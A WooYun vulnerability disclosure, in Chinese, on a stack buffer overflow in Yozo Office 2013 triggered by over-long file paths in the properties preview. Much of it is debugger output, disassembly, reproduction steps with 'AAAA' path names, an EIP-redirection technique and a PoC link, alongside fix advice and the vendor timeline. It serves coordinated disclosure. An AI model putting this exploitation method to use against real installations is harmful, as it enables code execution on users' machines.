当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-084334

漏洞标题:永中Office 2013 表格/文字/简报属性预览 本地栈缓冲区溢出漏洞

相关厂商:永中Office

漏洞作者: blast

提交时间:2014-11-23 10:59

修复时间:2015-02-21 11:00

公开时间:2015-02-21 11:00

漏洞类型:远程代码执行

危害等级:高

自评Rank:18

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-23: 细节已通知厂商并且等待厂商处理中
2014-11-27: 厂商已经确认,细节仅向厂商公开
2014-11-30: 细节向第三方安全合作伙伴开放
2015-01-21: 细节向核心白帽子及相关领域专家公开
2015-01-31: 细节向普通白帽子公开
2015-02-10: 细节向实习白帽子公开
2015-02-21: 细节向公众公开

简要描述:

(ps 虽然叫2013,但是它是2014年10月更新的最新版)
需要用户做2步+操作,但是下面系列的仨都有,所以自评rank=6*3=18,而且估计地方不止一个,建议开发的同学自查一下。
事出国产字处理软件W*S后台推送驱动服务改我首页,所以换了个永中office。但是几分钟后发现了这个,只是想提醒,开发同学请一定不要相信微软的那些鬼话。
鉴于这个操作很常见,所以我倒是建议软件作者找找是否还有其他同类问题,Word Excel 演示都有。
(1004.1ae0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffff00 ebx=29584678 ecx=77d638aa edx=008c57a4 esi=29584678 edi=0565c000
eip=41414141 esp=061ef1a8 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???
同样,莫期待,非文件格式漏洞

详细说明:

windows的MAX_PATH是260,也就是259字节加一个\0,但是事实上windows的长文件名是可以超过259字节的。只不过应用时,一般把它作为短文件名看待,所以还姑且在259之内。
但是这里office展开文件属性时,获取了文件的长文件名,但是却没有使用安全的拷贝函数或者采用足够长的缓冲区,导致缓冲区溢出。

f1.png


f2.png


永中使用jvm,而它的入口点因此是固定的:
0:021> lmvm yozo_office
start end module name
00400000 00479000 Yozo_Office (deferred)
Image path: E:\Program Files (x86)\Yozosoft\Yozo_Personal\Yozo_Office.exe
Image name: Yozo_Office.exe
Timestamp: Mon Jan 09 15:32:53 2012 (4F0A9825)
CheckSum: 0007A0E1
ImageSize: 00079000
File version: 6.0.0.0
Product version: 6.0.0.0
File flags: 0 (Mask 3F)
File OS: 40004 NT Win32
File type: 1.0 App
File date: 00000000.00000000
Translations: 0000.04b0
CompanyName: YOZOSOFT CO., LTD.
ProductName: Yozo Office
InternalName: Yozo Office
OriginalFilename: Yozo_Office.exe
ProductVersion: 6.0
FileVersion: 6.0.0.0
PrivateBuild: 6.0.0.0
SpecialBuild: 6.0.0.0
FileDescription: Yozo Office
LegalCopyright: Copyright (C) 2010-2012 YOZOSOFT CO., LTD. All rights reserved.
LegalTrademarks: Copyright (C) 2010-2012 YOZOSOFT CO., LTD. All rights reserved.
Comments: Copyright (C) 2010-2012 YOZOSOFT CO., LTD. All rights reserved.
程序内实现了MessageBoxA
int __cdecl __crtMessageBoxA(int a1, int a2, int a3)
{
int v3;
HMODULE hUser32;
v3 = 0;
if ( !__MessageBoxA )
{
hUser32 = LoadLibraryA("user32.dll");
if ( !hUser32
|| (__MessageBoxA = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD))GetProcAddress(v4, "MessageBoxA")) == 0 )
return 0;
dword_410B00 = GetProcAddress(hUser32, "GetActiveWindow");
dword_410B04 = (int (__stdcall *)(_DWORD))GetProcAddress(hUser32, "GetLastActivePopup");
}
if ( dword_410B00 )
{
v3 = dword_410B00();
if ( v3 )
{
if ( dword_410B04 )
v3 = dword_410B04(v3);
}
}
return __MessageBoxA(v3, a1, a2, a3);
}
具体是在
.text:0040AA3E push offset aMessageboxa ; "MessageBoxA"
.text:0040AA43 push edi ; hModule
.text:0040AA44 call esi ; GetProcAddress
.text:0040AA46 test eax, eax
.text:0040AA48 mov dword_410AFC, eax
....
.text:0040AA88 loc_40AA88: ; CODE XREF: ___crtMessageBoxA+56j
.text:0040AA88 ; ___crtMessageBoxA+5Ej ...
.text:0040AA88 push [esp+0Ch+arg_8] ; _DWORD
.text:0040AA8C push [esp+10h+arg_4] ; _DWORD
.text:0040AA90 push [esp+14h+arg_0] ; _DWORD
.text:0040AA94 push ebx ; _DWORD
.text:0040AA95 call dword_410AFC
可以知道EP+AA95是MessageBox的Call,那么如何在栈上写入0040aa95 (0x95aa4000)呢?0x95和0xaa、0x40都好说,00看来只能靠结尾补零了。改完名之后,拖进word,重复之前操作,最终,确实是进去了,
0:019> r
eax=ffffff00 ebx=29588170 ecx=77d638aa edx=002a017c esi=29588170 edi=0562a000
eip=7771fd1e esp=06d5ff5c ebp=ee414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
USER32!MessageBoxA:
7771fd1e 8bff mov edi,edi
只不过弹出来的东西乱七八糟的,我也不费心去弄了,改文件名太麻烦,我这里是使用的c++程序生成,有想试验的也可以试一试。
poc
http://pan.baidu.com/s/1bnpjjkV

漏洞证明:

请解压附件到c:\或者随便哪里。
如果解压失败请手动做这个操作:
新建目录
C:\EXTRALONGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
然后再到它下面建一个子目录
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
这样就有248字节了。然后打开一个windows的记事本,写俩字,保存到上述目录下的:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.doc
然后打开它。
挂上调试器选择:文件-信息-属性,你会发现eip变成了41414141

修复方案:

1、检查长度,动态分配内存
2、使用更安全的字符串拷贝函数

版权声明:转载请注明来源 blast@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:17

确认时间:2014-11-27 09:00

厂商回复:

CNVD确认并复现所述情况,已由CNVD向软件生产厂商官方客服和邮箱通报。对fuzz类案例适当给予鼓励,rank 17

最新状态:

暂无